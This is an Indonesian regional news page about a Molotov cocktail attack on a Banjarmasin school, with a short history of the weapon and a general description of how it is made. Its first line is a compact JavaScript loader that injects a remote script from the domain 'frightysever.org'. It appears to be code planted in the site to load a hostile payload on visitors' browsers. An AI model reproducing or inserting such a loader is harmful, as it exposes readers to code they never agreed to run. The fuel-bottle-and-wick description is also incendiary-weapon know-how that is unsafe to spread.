(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Aksi pelemparan bom molotov ke SMPN 6 Banjarmasin, Rabu (30/1) malam mengejutkan banyak pihak. Motif dan pelaku pelemparan saat ini masih diusut polisi. Lalu, bagaimana awal mula bom molotov ini dibuat?
Bom molotov, merupakan senjata yang terbuat dari botol berisi bensin, alkohol, atau cairan mudah terbakar lainnya. Kemudian ditambah sumbu berupa tali atau kain. Sebelum dilemparkan ke arah sasaran, sumbu dibakar terlebih dahulu. Dan saat botol pecah setelah dilempar, api akan segera merambat dan menyebar karena penguapan bensin atau alkohol di dalamnya.
Dilansir dari nationalgeographic.grid.id, bom molotov diyakini muncul pertama kali di Perang Saudara Spanyol pada 1930-an. Saat itu, para pejuang Republik melemparkan bahan peledak itu ke tank-tank milik pasukan Nasionalis. Bahan awal yang digunakan adalah campuran tar, etanol, dan gasolin yang dimasukkan ke dalam botol bir–menciptakan senyawa yang lengket dan mudah terbakar.
Potongan kain yang sudah direndam minyak kemudian dimasukkan ke dalam mulut botol agar bertindak sebagai sumbu.
Meski sudah ada sejak Perang Saudara Spanyol, tapi penggunaannya semakin masif di awal Perang Dunia II. Tepatnya ketika pasukan Soviet menyerang Finlandia dalam peristiwa yang kerap disebut “Perang Musim Dingin”.
Pada musim dingin 1939, setelah menguasai Polandia, Soviet menginvasi Finlandia. Namun, ketika berita serangan mulai muncul, Menteri Luar Negeri Soviet, Vyacheslav Molotov, membantahnya. Ia mengatakan bahwa Soviet hanya mengirimkan makanan dan minuman ke Finlandia, padahal mereka menjatuhi bom ke negara tersebut.
Warga Finlandia yang tidak terima kemudian mencoba melawan. Mengikuti istilah yang digunakan menteri Molotov, mereka menyebut bahan peledak yang dilemparkan ke arah pasukan Soviet dengan nama “bom Molotov”.
Perusahaan minuman keras di Finlandia, The Finnish Alko, memproduksi 450.000 bom Molotov selama perang. Senjata tersebut terbukti berperan dalam menahan laju serangan Soviet ke ibu kota Finlandia.
Penggunaan bom Molotov pun kemudian berkembang ke negara-negara tetangga. Saat muncul isu Nazi akan menyerang Inggris, petugas kerajaan pun dilengkapi dengan bom Molotov sebagai bentuk pertahanan.
Kini, bertahun-tahun setelah Perang Dunia II, bom Molotov masih digunakan beberapa pihak untuk menyerang mereka yang dianggap musuh.(cel/Sumber: national geographic)
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More
This website uses cookies.